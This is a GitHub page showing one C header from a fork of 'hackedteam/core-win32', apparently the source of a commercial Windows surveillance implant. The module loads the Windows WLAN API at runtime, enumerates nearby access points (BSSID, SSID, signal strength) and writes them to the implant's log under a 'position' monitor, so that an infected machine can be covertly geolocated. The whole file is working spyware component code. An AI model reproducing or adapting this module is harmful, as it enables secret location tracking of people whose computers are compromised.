forked from hackedteam/core-win32
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathHM_WiFiLocation.h
142 lines (113 loc) · 4.42 KB
/
HM_WiFiLocation.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
#define TYPE_LOCATION_WIFI 3
typedef struct _wifiloc_param_struct {
DWORD interval;
DWORD unused;
} wifiloc_param_struct;
typedef struct _wifiloc_additionalheader_struct {
#define WIFI_HEADER_VERSION 2010082401
DWORD version;
DWORD type;
DWORD number_of_items;
} wifiloc_additionalheader_struct;
typedef struct _wifiloc_data_struct {
UCHAR MacAddress[6]; // BSSID
UINT uSsidLen; // SSID length
UCHAR Ssid[32]; // SSID
INT iRssi; // Received signal
} wifiloc_data_struct;
#include <wlanapi.h>
typedef DWORD (WINAPI *WlanOpenHandle_t) (DWORD, PVOID, PDWORD, PHANDLE);
typedef DWORD (WINAPI *WlanCloseHandle_t) (HANDLE, PVOID);
typedef DWORD (WINAPI *WlanEnumInterfaces_t) (HANDLE, PVOID, PWLAN_INTERFACE_INFO_LIST *);
typedef DWORD (WINAPI *WlanGetNetworkBssList_t) (HANDLE, const GUID *, const PDOT11_SSID, DOT11_BSS_TYPE, BOOL, PVOID, PWLAN_BSS_LIST *);
typedef DWORD (WINAPI *WlanFreeMemory_t) (PVOID);
WlanOpenHandle_t pWlanOpenHandle = NULL;
WlanCloseHandle_t pWlanCloseHandle = NULL;
WlanEnumInterfaces_t pWlanEnumInterfaces = NULL;
WlanGetNetworkBssList_t pWlanGetNetworkBssList = NULL;
WlanFreeMemory_t pWlanFreeMemory = NULL;
BOOL ResolveWLANAPISymbols()
{
static HMODULE hwlanapi = NULL;
if (!hwlanapi)
hwlanapi = LoadLibrary("wlanapi.dll");
if (!hwlanapi)
return FALSE;
if (!pWlanOpenHandle)
pWlanOpenHandle = (WlanOpenHandle_t)HM_SafeGetProcAddress(hwlanapi, "WlanOpenHandle");
if (!pWlanCloseHandle)
pWlanCloseHandle = (WlanCloseHandle_t)HM_SafeGetProcAddress(hwlanapi, "WlanCloseHandle");
if (!pWlanEnumInterfaces)
pWlanEnumInterfaces = (WlanEnumInterfaces_t)HM_SafeGetProcAddress(hwlanapi, "WlanEnumInterfaces");
if (!pWlanGetNetworkBssList)
pWlanGetNetworkBssList = (WlanGetNetworkBssList_t)HM_SafeGetProcAddress(hwlanapi, "WlanGetNetworkBssList");
if (!pWlanFreeMemory)
pWlanFreeMemory = (WlanFreeMemory_t)HM_SafeGetProcAddress(hwlanapi, "WlanFreeMemory");
if (pWlanOpenHandle && pWlanCloseHandle && pWlanEnumInterfaces && pWlanGetNetworkBssList && pWlanFreeMemory)
return TRUE;
return FALSE;
}
BOOL EnumWifiNetworks()
{
HANDLE hClient = NULL, hf;
DWORD dwMaxClient = 2;
DWORD dwCurVersion = 0;
DWORD i, j;
wifiloc_additionalheader_struct wifiloc_additionaheader;
wifiloc_data_struct wifiloc_data;
PWLAN_INTERFACE_INFO_LIST pIfList = NULL;
PWLAN_INTERFACE_INFO pIfInfo = NULL;
PWLAN_BSS_LIST pBssList = NULL;
PWLAN_BSS_ENTRY pBss = NULL;
if (!ResolveWLANAPISymbols())
return FALSE;
if (pWlanOpenHandle(dwMaxClient, NULL, &dwCurVersion, &hClient) != ERROR_SUCCESS)
return FALSE;
if (pWlanEnumInterfaces(hClient, NULL, &pIfList) != ERROR_SUCCESS) {
pWlanCloseHandle(hClient, NULL);
return FALSE;
}
// Enumera le interfacce wifi disponibili
for (i=0; i<pIfList->dwNumberOfItems; i++) {
pIfInfo = (WLAN_INTERFACE_INFO *) &pIfList->InterfaceInfo[i];
if (pWlanGetNetworkBssList(hClient, &pIfInfo->InterfaceGuid, NULL, dot11_BSS_type_infrastructure, FALSE, NULL, &pBssList) == ERROR_SUCCESS) {
// Ha trovato un interfaccia valida ed enumera le reti wifi
wifiloc_additionaheader.version = WIFI_HEADER_VERSION;
wifiloc_additionaheader.type = TYPE_LOCATION_WIFI;
wifiloc_additionaheader.number_of_items = pBssList->dwNumberOfItems;
hf = Log_CreateFile(PM_WIFILOCATION, (BYTE *)&wifiloc_additionaheader, sizeof(wifiloc_additionaheader));
for (j=0; j<pBssList->dwNumberOfItems; j++) {
pBss = (WLAN_BSS_ENTRY *) &pBssList->wlanBssEntries[j];
memcpy(wifiloc_data.MacAddress, pBss->dot11Bssid, 6);
wifiloc_data.uSsidLen = pBss->dot11Ssid.uSSIDLength;
if (wifiloc_data.uSsidLen>32)
wifiloc_data.uSsidLen = 32; // limite massimo del SSID
memcpy(wifiloc_data.Ssid, pBss->dot11Ssid.ucSSID, wifiloc_data.uSsidLen);
wifiloc_data.iRssi = pBss->lRssi;
Log_WriteFile(hf, (BYTE *)&wifiloc_data, sizeof(wifiloc_data));
}
Log_CloseFile(hf);
break;
}
}
if (pBssList != NULL)
pWlanFreeMemory(pBssList);
if (pIfList != NULL)
pWlanFreeMemory(pIfList);
pWlanCloseHandle(hClient, NULL);
return TRUE;
}
DWORD __stdcall PM_WiFiLocationStartStop(BOOL bStartFlag, BOOL bReset)
{
if (bStartFlag && bReset)
EnumWifiNetworks();
return 1;
}
DWORD __stdcall PM_WiFiLocationInit(JSONObject elem)
{
return 1;
}
void PM_WiFiLocationRegister()
{
AM_MonitorRegister(L"position", PM_WIFILOCATION, NULL, (BYTE *)PM_WiFiLocationStartStop, (BYTE *)PM_WiFiLocationInit, NULL);
}